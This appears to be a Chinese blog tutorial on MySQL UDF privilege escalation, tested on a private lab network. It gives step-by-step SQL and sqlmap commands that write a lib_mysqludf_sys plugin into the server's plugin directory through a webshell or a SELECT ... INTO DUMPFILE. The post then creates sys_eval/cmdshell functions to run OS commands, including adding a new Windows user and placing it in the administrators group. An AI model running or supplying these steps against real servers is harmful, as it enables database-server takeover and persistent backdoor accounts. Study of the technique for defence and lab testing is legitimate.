Mysql UDF提权方法

Mysql UDF提权方法 

 

0x01 UDF#

UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

0x02 windows下udf提权的条件#

  • 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
  • 如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
  • 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
  • 拥有可以将udf.dll写入相应目录的权限。

0x03 提权方法#

如果是mysql5.1及以上版本,必须要把udf.dll文件放到mysql安装目录的lib\plugin文件夹下才能创建自定义函数。该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录。
Mysql UDF提权方法
Mysql UDF提权方法
在sqlmap中可以导入udf
Mysql UDF提权方法
Mysql UDF提权方法
复制到新建目录
Mysql UDF提权方法

Copy
create function sys_eval returns string soname "lib_mysqludf_sys.dll"; --引用共享库文件创建存储过程

Mysql UDF提权方法
成功执行命令,可以看到当前权限为administrator
Mysql UDF提权方法
删除该函数
Mysql UDF提权方法
参考
https://www.cnblogs.com/sijidou/p/10522972.html
https://www.jianshu.com/p/5b34c1b6dee7
https://blog.csdn.net/qq_26090065/article/details/81515355

 

注意:

把dll文件放入到特定的“文件夹”下方式有很多种:

方式a.如何你有webshell或有能操作文件的任何方式(比如远程登录),直接把dll文件放入特定文件夹下。文件名可以自定义,比如我喜欢命名为“udf.dll”。比如用“菜刀”操作文件

Mysql UDF提权方法

 

 

udf.dll文件下载链接:

方式b.也可以使用sql语句导入(写)一个dll文件。(只有sql语句执行权限最适合用此方法),下面的文章就是使用了此方法!

 

mysql udf提权实战测试

 

根据前天对大牛们的资料学习,进行一次mysql udf提权测试。

测试环境:

受害者系统:centos 7.7 ,docker部署mysql5.6.46, IP:192.168.226.128

攻击者系统:centos7.7,安装mysq client 5.7,IP:192.168.226.129

攻击者连接至mysql后,使用SQL语句检查相关的路径及权限

show variables like "%plugin%";

show variables like "%secure_file%";

 

Mysql UDF提权方法
攻击者系统

刚安装好的mysql时,secure_file_priv是有一个指定路径,而且并不在/usr/lib/mysql/下,则无法写入udf文件。手动在受害者所在系统/etc/mysql/mysql.conf.d/mysqld.conf中修改,若不存在secure_file_priv,则添加secure_file_priv=

 

Mysql UDF提权方法
受攻击系统的mysqld.conf

提权测试:

将udf十六进制导入查检目录中,先设置udf变量

mysql> set @a=unhex('udf十六进制编码,详见下文');

mysql> select @a into dumpfile '/usr/lib/mysql/plugin/udf.so';

 

Mysql UDF提权方法
上传插件

*************也可以使用sqlmap进行上传so文件:

python sqlmap.py -d "mysql://root:test1234@@192.168.226.128:3306/mysql" --file-write="C:\Users\username\AppData\Local\Programs\Python\Python37\sqlmap-master\data\udf\mysql\linux\64\lib_mysqludf_sys.so_" --file-dest="/usr/lib/mysql/plugin/udf.so"

引用方法,成功执行系统命令:

mysql> select * from func;

mysql> create function sys_eval returns string soname 'udf.so';

mysql> select sys_eval('whoami');

 

Mysql UDF提权方法
命令执行成功-whami

<进一步的权限提升及持久化,需要继续学习研究>

==》要使用net user add 才可以最终提权!!!如下:

 

3.使用自定义的函数。

我们可以使用如下命令来执行系统命令

select sys_eval('系统命令');

例如我们执行如下命令:

select sys_eval('net user admin admin /add');

就会发现新建了一个用户-admin

Mysql UDF提权方法

 

 

有些人对于UDF提权有一些错误的认知。认为UDF提权只是影响windows和mysql。但UDF(用户自定义函数)不仅仅是影响着Windows系统,也影响Linux系统。不仅仅影响Mysql,也影响Postgrepsql。

=============================

    9.通过cmd function进行提权。

        命令:

            select cmdshell('net user x x /add');

            select cmdshell('net localgroup administrators x /add');

 Mysql UDF提权方法

 

 

 

 

    10.远程到主机

 

Mysql UDF提权方法

 

 

 

 

11.查看管理员组

 

Mysql UDF提权方法

 

 

上一篇:微信开发者工具笔记


下一篇:gRPC之Server Streaming